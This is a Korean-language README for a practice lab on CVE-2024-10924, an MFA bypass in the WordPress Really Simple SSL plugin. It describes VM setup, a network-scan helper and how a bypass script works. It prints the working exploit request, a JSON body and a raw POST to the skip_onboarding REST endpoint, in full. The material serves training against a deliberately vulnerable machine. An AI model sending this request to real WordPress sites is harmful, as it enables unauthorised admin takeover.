WordPress의 Really Simple SSL 플러그인의 skip_onboarding 엔드포인트를 통해 MFA 우회를 보여주는 CVE-2024-10924용 실습 환경 및 익스플로잇 스크립트.
이 저장소는 WordPress에서 CVE-2024-10924 취약점을 악용하여 이중 인증(MFA)을 우회하고 WordPress 관리 패널에 접근하기 위한 랩을 제공합니다.
이 랩을 환경에 배포하려면 아래 단계를 따르세요:
LAB의 zip 파일을 압축 해제한 후, VMWare에서 Open을 클릭하여 머신을 가져와야 합니다. Ubuntu-Bypass-MFA-Wordpress.vmx라는 파일을 선택하고, 마지막으로 Power를 클릭하여 취약한 머신을 켭니다.
Kali 머신에 필요한 도구를 설치하고 다음 애플리케이션이 설치되어 있는지 확인하세요:
nmap: 네트워크 스캔 수행requests: HTTP 요청 수행 (없다면 pip install requests로 설치)rich: 콘솔에 보기 좋은 출력 (없다면 pip install rich로 설치)네트워크 환경에서 WordPress 머신의 IP를 얻으려면 Kali 머신에서 다음 스크립트를 실행하세요:
$ python3 knowIPwordpress.py
이 스크립트는 다음을 수행합니다:
로컬 IP를 감지합니다.
해당 네트워크 세그먼트를 스캔하여 활성 IP를 찾습니다.
HTTP 서비스에 대한 포트 스캔을 수행합니다.
WordPress 머신의 IP가 HTTP 서비스에서 "Bypass-MFA" 제목을 가지고 있는지 확인합니다.
찾은 후에는 WordPress 관리 패널에 접근할 수 있는 URL을 보여줍니다:
WordPress 접속: http://<IP>/wp-admin
admin:admin
WordPress에 로그인을 시도하면 이중 인증(MFA)을 요구합니다. 이 단계를 우회하려면 Kali에서 다음 스크립트를 실행하세요:
$ python3 bypass-MFA-Wordpress.py
bypass-MFA-Wordpress.py 스크립트 작동 방식
이 스크립트는 CVE-2024-10924 취약점을 악용하여 이중 확인을 우회하고 WordPress 관리 패널에 접근합니다.
세션 쿠키 획득: 스크립트는 reallysimplessl/v1/two_fa/skip_onboarding 엔드포인트에 HTTP 요청을 보내 유효한 세션 쿠키를 얻습니다.
요청은 다음 정보와 함께 전송됩니다:
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
쿠키를 획득한 후, 스크립트는 WordPress 사용자 이름과 비밀번호를 요청합니다. 그런 다음 제공된 자격 증명으로 wp-admin/profile.php 엔드포인트에 POST 요청을 보내 로그인합니다.
우회가 성공하면, 스크립트는 관리자 대시보드의 응답을 .html 파일로 저장하고 기본 브라우저에서 엽니다.
이제 WordPress 관리 패널에 접근할 수 있습니다!
수동으로 BurpSuite를 사용하여 수행하고, Cookies를 캡처하기 위해 요청을 보낼 Endpoint를 알고 싶다면 다음과 같이 할 수 있습니다:
$ python3 endpointWordpress.py
이것은 BurpSuite에 입력해야 할 코드를 알려줍니다. Cookies를 캡처할 수 있도록, 제 경우에는 다음과 같습니다:
POST http://192.168.5.192/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: 192.168.5.192
Content-Type: application/json
Content-Length: 89
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}